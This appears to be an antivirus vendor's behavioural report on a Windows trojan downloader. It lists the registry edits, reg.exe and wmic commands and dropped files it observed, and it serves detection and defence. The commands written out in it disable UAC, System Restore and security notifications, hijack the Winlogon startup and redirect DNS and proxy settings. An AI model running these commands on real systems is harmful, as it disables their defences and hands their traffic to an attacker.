Trojan.DownLoader9.45755

Technical Information

To ensure autorun and distribution:

Modifies the following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Userinit' = '<SYSTEM32>\userinit.exe,C:\DOCUME~1\%USERNAME%\LOCALS~1\Temp\ctfmon.exe,'

Malicious functions:

To complicate detection of its presence in the operating system,

blocks the following features:

System Restore (SR)
User Account Control (UAC)
Windows Security Center

Creates and executes the following:

'%TEMP%\ctfmon.exe' /ctfmon.exe

Executes the following:

'<SYSTEM32>\find.exe' "prefs.js"
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 00000000 /f
'<SYSTEM32>\attrib.exe' -r "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\prefs.js "
'<SYSTEM32>\reg.exe' export HKU %TEMP%\~r.tmp
'<SYSTEM32>\attrib.exe' +r "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\prefs.js "
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
'<SYSTEM32>\find.exe' "Internet Explorer\Main"
'<SYSTEM32>\reg.exe' /pid=2724
'<SYSTEM32>\fsutil.exe' /pid=204
'<SYSTEM32>\reg.exe' /registerdns
'<SYSTEM32>\ipconfig.exe' /renew
'<SYSTEM32>\ipconfig.exe' /flushdns
'<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnonBadCertRecving" /t REG_DWORD /d "0x00000000" /f
'<SYSTEM32>\find.exe' "S-1-5-21"
'<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnOnIntranet" /t REG_DWORD /d "0x00000000" /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 0x00000001 /f
'<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap" /v "AutoDetect" /t REG_DWORD /d "0x00000000" /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Security Center" /v UpdatesDisableNotify /t REG_DWORD /d 0x00000001 /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Security Center" /v FirewallDisableNotify /t REG_DWORD /d 0x00000001 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v DisableSR /t REG_DWORD /d 0x00000001 /f
'<SYSTEM32>\find.exe' "["
'<SYSTEM32>\ping.exe' dns.walmor.org
'<SYSTEM32>\fsutil.exe' file createnew "%TEMP%\thunb.db" 666"
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\devil.bat" /ctfmon.exe "
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Security Center" /v AntiVirusDisableNotify /t REG_DWORD /d 0x00000001 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "<SYSTEM32>\userinit.exe,C:\Documents and Settings\%USERNAME%\LOCALS~1\Temp\ctfmon.exe," /f
'<SYSTEM32>\wbem\wmic.exe' nicconfig where (IPEnabled=TRUE) call SetDNSServerSearchOrder ("111.111.111.1","8.8.8.8")
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "file://%TEMP%\CRNJEUFU.txt" /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "file://%TEMP%\CRNJEUFU.txt" /f
'<SYSTEM32>\find.exe' /i "a interface"
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f

Injects code into

the following system processes:

<SYSTEM32>\reg.exe

Modifies settings of Windows Internet Explorer:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnonBadCertRecving' = '00000000'

Modifies file system :

Creates the following files:

<SYSTEM32>\wbem\AutoRecover\23BDE61F1F4FACE17E9B0C01F2A1FD9B.mof
%TEMP%\tmp4.tmp
%TEMP%\CRNJEUFU.txt
%TEMP%\~i.tmp
%TEMP%\~r.tmp
<SYSTEM32>\wbem\AutoRecover\C8463ECBE33BC240263A0B094E46D510.mof
%TEMP%\1.tmp\devil.bat
%TEMP%\ctfmon.exe
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\%USERNAME%-CRNJEUFU[1]
%TEMP%\tmp3.tmp
%TEMP%\tmp2.tmp